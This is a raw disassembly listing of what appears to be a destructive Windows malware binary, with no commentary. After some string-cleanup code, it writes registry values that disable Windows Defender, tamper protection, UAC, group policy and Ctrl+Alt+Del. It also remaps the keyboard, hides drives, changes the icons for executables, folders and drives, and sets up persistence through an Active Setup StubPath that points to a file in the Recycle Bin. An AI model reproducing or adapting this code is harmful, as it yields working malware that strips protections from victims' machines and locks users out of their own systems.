push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x6d0]
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0xf
mov byte [ebp - 0x6cc], 0
cmp edx, 0x10
jb 0x40504f
mov ecx, dword [ebp - 0x6e4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405045
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x6e8]
mov dword [ebp - 0x6d4], 0
mov dword [ebp - 0x6d0], 0xf
mov byte [ebp - 0x6e4], 0
cmp edx, 0x10
jb 0x4050a8
mov ecx, dword [ebp - 0x6fc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40509e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x700]
mov dword [ebp - 0x6ec], 0
mov dword [ebp - 0x6e8], 0xf
mov byte [ebp - 0x6fc], 0
cmp edx, 0x10
jb 0x405101
mov ecx, dword [ebp - 0x714]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4050f7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x550]
mov dword [ebp - 0x704], 0
mov dword [ebp - 0x700], 0xf
mov byte [ebp - 0x714], 0
cmp edx, 0x10
jb 0x40515a
mov ecx, dword [ebp - 0x564]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405150
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x718]
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0xf
mov byte [ebp - 0x564], 0
cmp edx, 0x10
jb 0x4051b3
mov ecx, dword [ebp - 0x72c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4051a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x71c], 0
mov dword [ebp - 0x718], 0xf
mov byte [ebp - 0x72c], 0
cmp edx, 0x10
jb 0x40520c
mov ecx, dword [ebp - 0x744]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405202
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x748]
mov dword [ebp - 0x734], 0
mov dword [ebp - 0x730], 0xf
mov byte [ebp - 0x744], 0
cmp edx, 0x10
jb 0x405265
mov ecx, dword [ebp - 0x75c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40525b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0xf
mov byte [ebp - 0x75c], 0
cmp edx, 0x10
jb 0x4052be
mov ecx, dword [ebp - 0x774]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4052b4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x764], 0
mov dword [ebp - 0x760], 0xf
mov byte [ebp - 0x774], 0
cmp eax, 0x10
jb 0x4021fb
mov ecx, dword [ebp - 0x7b4]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x405316
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405a1f
push edx
push ecx
call fcn.004067d6
add esp, 8
jmp 0x4021fb
cmp eax, 0x103
jne 0x4059fd
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlKeyboard_Layout
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x24
lea eax, [ebp - 0x38]
push eax
push 3
push 0
push str.Scancode_Map
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_Defender
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableAntiSpyware
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindows_DefenderFeatures
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.TamperProtection
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableLGPOProcessing
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.EnableLUA
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsWindows_Search
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.AllowCortana
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionpolicies_system
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.shutdownwithoutlogon
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableCAD
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorer
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.UseDefaultTile
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str..EYE
push 0x80000000
call esi
push 4
lea eax, [ebp - 0x78c]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.EYEDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.SYSTEMCurrentControlSetServicesTrustedInstaller
push 0x80000002
call esi
push 4
lea eax, [ebp - 0x788]
push eax
push 4
push 0
push str.Start
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.exefileDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.dllfileDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.txtfileDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.vbsfileDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x7b0]
push eax
push 0xf013f
push 0
push str.FolderDefaultIcon
push 0x80000000
call esi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 1
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorerDriveIconsCDefaultIcon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 2
push 0
push 0
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionpoliciesExplorerShell_Icons
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 2
push 0
push 0x41c374
push dword [ebp - 0x7b0]
call edi
push 0x2e
lea eax, [ebp - 0x164]
push eax
push 2
push 0
push 0x41c378
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
mov eax, dword [0x41ce10]
movups xmm0, xmmword [str.C:_Recycle.BinRecycleBinchecker.exe]
mov dword [ebp - 0x380], eax
mov ax, word [0x41ce14]
mov word [ebp - 0x37c], ax
movzx eax, byte [0x41ce16]
mov byte [ebp - 0x37a], al
mov eax, dword [str.NULL]
mov dword [ebp - 0x40], eax
movzx eax, byte [0x41ce1c]
mov byte [ebp - 0x3c], al
mov eax, 0x2a
mov word [ebp - 0x548], ax
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
movups xmmword [ebp - 0x3a0], xmm0
push 0xf013f
movups xmm0, xmmword [0x41ce00]
push 0
push 0
movups xmmword [ebp - 0x390], xmm0
push 0
movups xmm0, xmmword [str.666_666_666_666_666_666]
push str.SOFTWAREMicrosoftActive_SetupInstalled_Components69CABC7C_3964_4601_AEE0_CC598ED00DD2
push 0x80000002
movups xmmword [ebp - 0x3dc], xmm0
movq xmm0, qword [0x41ce30]
movq qword [ebp - 0x3cc], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.IsInstalled
push dword [ebp - 0x7b0]
call edi
push 0x27
lea eax, [ebp - 0x3a0]
push eax
push 1
push 0
push str.StubPath
push dword [ebp - 0x7b0]
call edi
push 5
lea eax, [ebp - 0x40]
push eax
push 1
push 0
push str.ComponentID
push dword [ebp - 0x7b0]
call edi
push 0x18
lea eax, [ebp - 0x3dc]
push eax
push 1
push 0
push str.Version
push dword [ebp - 0x7b0]
call edi
push 2
lea eax, [ebp - 0x548]
push eax
push 1
push 0
push str.Locale
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
lea eax, [ebp - 0x528]
push eax
lea eax, [ebp - 0x7b0]
push eax
push 0
push 0xf013f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesexplorer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x778]
push eax
push 4
push 0
push str.NoViewOnDrive
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
push str.TEMP
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00406482
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
push 0x41b168
call dword [sym.imp.KERNEL32.dll_GetLastError]
add eax, str.RegistryError..._ErrorCode:
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call fcn.004096ec
call fcn.0040a5fe
int3